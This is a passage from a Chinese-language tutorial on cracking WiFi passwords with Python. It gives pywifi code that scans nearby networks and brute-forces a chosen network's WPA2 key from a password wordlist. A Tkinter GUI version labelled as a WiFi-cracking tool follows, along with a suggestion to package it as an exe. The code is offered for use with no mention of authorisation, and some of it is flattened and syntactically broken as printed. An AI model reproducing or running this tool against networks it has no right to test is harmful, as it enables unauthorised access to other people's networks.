python破解wifi密碼都有什么方法 python獲取wifi密碼( 二 )

< 1.5:# 接口狀態為4代表連接成功(當嘗試時間大于1.5秒之后則為錯誤密碼 , 經測試測正確密碼一般都在1.5秒內連接 , 若要提高準確性可以設置為2s或以上 , 相應暴力破解速度就會變慢)if interface.status() == 4:print(f'\r連接成功!密碼為:{pwd}')exit(0)else:print(f'\r正在利用密碼 {pwd} 嘗試破解 。', end='')# 主函數def main():# 退出標致exit_flag = 0# 目標編號target_num = -1while not exit_flag:try:print('WiFi萬能鑰匙'.center(35, '-'))# 調用掃描模塊 , 返回一個排序后的wifi列表wifi_list = wifi_scan()# 讓用戶選擇要破解的wifi編號 , 并對用戶輸入的編號進行判斷和異常處理choose_exit_flag = 0while not choose_exit_flag:try:target_num = int(input('請選擇你要嘗試破解的wifi:'))# 如果要選擇的wifi編號在列表內 , 繼續二次判斷 , 否則重新輸入if target_num in range(len(wifi_list)):# 二次確認while not choose_exit_flag:try:choose = str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]} , 確定嗎?(Y/N)'))# 對用戶輸入進行小寫處理 , 并判斷if choose.lower() == 'y':choose_exit_flag = 1elif choose.lower() == 'n':break# 處理用戶其它字母輸入else:print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o')# 處理用戶非字母輸入except ValueError:print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o')# 退出破解if choose_exit_flag == 1:breakelse:print('請重新輸入哦(*^▽^*)')except ValueError:print('只能輸入數字哦o(* ̄︶ ̄*)o')# 密碼破解 , 傳入用戶選擇的wifi名稱wifi_password_crack(wifi_list[target_num][1])print('-' * 38)exit_flag = 1except Exception as e:print(e)raise eif __name__ == '__main__':main()腳本運行效果如下:
上述代碼實現了依據信號強度枚舉當前附近的所有 WIFI 名稱 , 并且可供用戶自主選擇需要暴力破解的 WIFI , 同時還可靈活指定暴力破解的字典 , 相對而言體驗感提升了不少 。進一步也可以將上述腳本打包生成 exe 文件 , 雙擊運行效果如下:
圖形化界面下面基于 Python 的 GUI 圖形界面開發庫 Tkinter 優化上述腳本 , 實現友好的可視化 WIFI 暴力破解界面工具 。
關于 Tkinter 庫的語法可參見:
https://www.runoob.com/python/python-gui-tkinter.html
簡單版UIfrom tkinter import *from pywifi import constimport pywifiimport time# 主要步驟:# 1、獲取第一個無線網卡# 2、斷開所有的wifi# 3、讀取密碼本# 4、設置睡眠時間def wificonnect(str, wifiname):# 窗口無線對象wifi = pywifi.PyWiFi()# 抓取第一個無線網卡ifaces = wifi.interfaces()[0]# 斷開所有的wifiifaces.disconnect()time.sleep(1)if ifaces.status() == const.IFACE_DISCONNECTED:# 創建wifi連接文件profile = pywifi.Profile()profile.ssid = wifiname# wifi的加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)# wifi的密碼profile.key = str# 網卡的開發profile.auth = const.AUTH_ALG_OPEN# 加密單元,這里需要寫點加密單元否則無法連接profile.cipher = const.CIPHER_TYPE_CCMP# 刪除所有的wifi文件ifaces.remove_all_network_profiles()# 設置新的連接文件tep_profile = ifaces.add_network_profile(profile)# 連接ifaces.connect(tep_profile)time.sleep(3)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falsedef readPwd():# 獲取wiif名稱wifiname = entry.get().strip()path = r'./pwd.txt'file = open(path, 'r')while True:try:# 讀取mystr = file.readline().strip()# 測試連接bool = wificonnect(mystr, wifiname)if bool:text.insert(END, '密碼正確'mystr)text.see(END)text.update()file.close()breakelse:text.insert(END, '密碼錯誤'mystr)text.see(END)text.update()except:continue# 創建窗口root = Tk()root.title('wifi破解')root.geometry('500x400')# 標簽label = Label(root, text='輸入要破解的WIFI名稱:')# 定位label.grid()# 輸入控件entry = Entry(root, font=('微軟雅黑', 14))entry.grid(row=0, column=1)# 列表控件text = Listbox(root, font=('微軟雅黑', 14), width=40, height=10)text.grid(row=1, columnspan=2)# 按鈕button = Button(root, text='開始破解', width=20, height=2, command=readPwd)button.grid(row=2, columnspan=2)# 顯示窗口root.mainloop()

推薦閱讀